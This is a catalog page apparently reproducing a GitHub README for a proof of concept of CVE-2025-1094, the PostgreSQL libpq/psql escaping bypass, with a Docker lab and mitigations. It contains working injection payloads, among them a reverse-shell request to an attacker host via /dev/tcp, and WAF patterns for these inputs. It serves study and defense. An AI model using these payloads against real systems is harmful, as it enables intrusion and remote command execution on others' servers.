Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
POC-CVE-2025-1094 — Доказательство концепции эксплуатации для CVE-2025-1094 — SQL-инъекции в PostgreSQL psql, приводящей к удалённому выполнению кода (RCE) через обход экранирования в libpq. Включает среду Docker, скрипт эксплуатации и рекомендации по смягчению последствий. | Kitploit
Инструменты/GitHubGitHub/trandonga3/poc-cve-2025-1094
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubtrandonga3/poc-cve-2025-1094

POC-CVE-2025-1094

Доказательство концепции эксплуатации для CVE-2025-1094 — SQL-инъекции в PostgreSQL psql, приводящей к удалённому выполнению кода (RCE) через обход экранирования в libpq. Включает среду Docker, скрипт эксплуатации и рекомендации по смягчению последствий.

Репозиторий
3 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

POC CVE-2025-1094: SQL-инъекция в PostgreSQL psql

Proof of Concept для критической уязвимости SQL-инъекции в клиентской библиотеке PostgreSQL libpq и утилите psql

📋 Содержание

  1. Обзор уязвимости
  2. Структура каталогов проекта
  3. Анализ полезной нагрузки атаки
  4. Инструкция по использованию
  5. Способы устранения и предотвращения

1. Обзор уязвимости

Общее описание

CVE-2025-1094 — это критическая уязвимость в клиентской библиотеке libpq и командной утилите PostgreSQL. Уязвимость позволяет злоумышленнику выполнить SQL-инъекцию и повысить привилегии до удаленного выполнения кода (RCE), даже если приложение использует стандартные функции экранирования строк, такие как .

psql
PQescapeLiteral

Первопричина

Ошибка возникает из-за несоответствия в обработке недопустимых многобайтовых последовательностей (например, UTF-8) между библиотекой экранирования и парсером psql.

Два основных механизма атаки:

1. Обход экранирования

  • Функция PQescapeLiteral вводится в заблуждение "недопустимым байтом" (например, 0xC0)
  • Она считает этот байт вместе с последующей одинарной кавычкой (') одним символом
  • В результате кавычка не экранируется

2. RCE через мета-команды

  • Когда такая строка передаётся в утилиту psql
  • Злоумышленник может выйти из SQL-оператора и использовать системную команду psql \!
  • Это позволяет выполнить произвольную команду shell на сервере

2. Структура каталогов проекта

Проект организован для имитации реального сценария вызова C-функции libpq:

root@kitploit:~
.
├── docker-compose.yml       # Запуск PostgreSQL + веб-приложения
├── exolit.py               # Эксплойт-скрипт — атака извне
├── README.md               # Данный файл
└── app/
    ├── app.py             # Веб-приложение Flask — принимает пользовательский ввод
    ├── Dockerfile         # Сборка образа с уязвимым кодом
    └── init_db.sql        # Инициализация базы данных

Основные компоненты:

  • Flask Web App: Принимает ввод от пользователя через конечную точку /search
  • libpq C Function: Обрабатывает SQL-запрос, но не проверяет допустимость байтов
  • psql Meta-commands: Позволяет выполнять системные команды через \!
  • Subprocess Pipe: Приложение передаёт SQL-запрос в psql через входной поток

3. Анализ полезной нагрузки атаки

Пример полезной нагрузки

root@kitploit:~
hax\xc0'; \! id; #

Расшифровка каждого компонента:

КомпонентЗначениеОписание
Вводимые данныеhaxОбычные нормальные данные
Недопустимый байт\xc0Недопустимый байт UTF-8 — обход экранирования
Кавычка'Одинарная кавычка «проскальзывает» через фильтр
Завершение SQL;Завершение текущего SQL-оператора
Мета-команда\!Специальная команда psql — выход в оболочку ОС
Команда shellidВыполняемая команда (можно заменить на reverse shell)
Комментарий#Комментарий SQL — игнорирует остаток

Процесс выполнения:

root@kitploit:~
1. Ввод пользователя: hax\xc0'; \! id; #
   ↓
2. PQescapeLiteral() не распознаёт \xc0 + ' как атаку
   ↓
3. Строка отправляется в psql: hax\xc0'; \! id; #
   ↓
4. psql парсит: фрагмент \xc0 считается концом строки
   ↓
5. Мета-команда \! активируется
   ↓
6. Команда shell id выполняется с правами контейнера

4. Инструкция по использованию

Способ 1: Использование Docker Compose (рекомендуется)

Шаг 1: Запуск среды

root@kitploit:~
docker-compose up -d

Шаг 2: Дождаться запуска контейнеров

root@kitploit:~
docker-compose ps

Убедитесь, что и PostgreSQL, и приложение Flask работают.

Шаг 3: Выполнить эксплойт

root@kitploit:~
python exolit.py

Ожидаемый результат: Отобразится информация uid=0(root), полученная с сервера.

Шаг 4: Остановить среду

root@kitploit:~
docker-compose down

Способ 2: Использование Burp Suite (вручную)

Отправка HTTP-запроса

Отправьте POST-запрос на /search со следующим телом:

root@kitploit:~
name=hax%c0%27;+\!+id+;+%23

URL-кодирование для справки:

  • %c0 = \xc0 (недопустимый байт UTF-8)
  • %27 = ' (одинарная кавычка)
  • %23 = # (решётка)
  • + = пробел

Полезная нагрузка Reverse Shell:

root@kitploit:~
hax%c0%27;+\!+bash+-c+"bash+-i+>%26+/dev/tcp/<ip-hacker>/<port-hacker>+0>%261"+;+%23

Примечание: Замените <ip-hacker> и <port-hacker> на IP и порт вашей атакующей машины.


5. Способы устранения и предотвращения

A. Установка исправления

Обновите PostgreSQL до исправленных версий:

ВерсияБезопасная версия
17.x≥ 17.3
16.x≥ 16.7
15.x≥ 15.11
14.x≥ 14.16
13.x≥ 13.19

B. Проверка кодировки

Всегда проверяйте, что входные данные являются допустимым UTF-8 перед обработкой:

root@kitploit:~
def validate_utf8(data):
    try:
        data.encode('utf-8').decode('utf-8')
        return True
    except UnicodeDecodeError:
        return False

C. Ограничение использования psql CLI

В прикладном программировании используйте официальные драйверы библиотек:

root@kitploit:~
# ❌ НЕПРАВИЛЬНО: Использование subprocess + psql
subprocess.run(['psql', '-c', user_input])

# ✅ ПРАВИЛЬНО: Использование параметризованных запросов с psycopg2
import psycopg2
conn = psycopg2.connect("...")
cursor = conn.cursor()
cursor.execute("SELECT * FROM users WHERE name = %s", (user_input,))

D. Принцип минимальных привилегий

  • Не запускайте веб-приложение от имени root
  • Не запускайте базу данных от имени root
  • Используйте выделенного пользователя с минимальными правами

E. Правила WAF / IDS

Настройте правила для обнаружения шаблонов:

root@kitploit:~
- Байты 0xC0, 0xC1 в теле запроса
- Мета-команда `\!` в пользовательском вводе
- Строки вида `; \!` или `' \!`

📚 Ссылки

  1. Ссылка на исходный код (до исправления) Вы можете просмотреть файл src/interfaces/libpq/fe-exec.c в версии 17.2 (версия, всё ещё содержащая ошибку):

    • Ссылка на GitHub: PostgreSQL fe-exec.c в теге REL_17_2 (https://github.com/postgres/postgres/blob/REL_17_2/src/interfaces/libpq/fe-exec.c)
    • Важная функция: найдите функцию PQescapeStringInternal (обычно около строки 3400 и далее). Это «ядерная» функция, которую вызывают как PQescapeLiteral, так и PQescapeString.
  2. Просмотр «Исправления» (самое важное для White-box) Чтобы понять, почему произошла ошибка и как её исправили, лучше всего посмотреть diff коммита (изменения между ошибочной и исправленной версией).

    • Официальная ссылка на коммит: Fix escaping of invalid multibyte characters in libpq (https://github.com/postgres/postgres/commit/8276f5055b1111005a8ce6f15792015e71f5307b)
  3. Статья с анализом уязвимости: https://www.rapid7.com/blog/post/2025/02/13/cve-2025-1094-postgresql-psql-sql-injection-fixed/

Скачать инструмент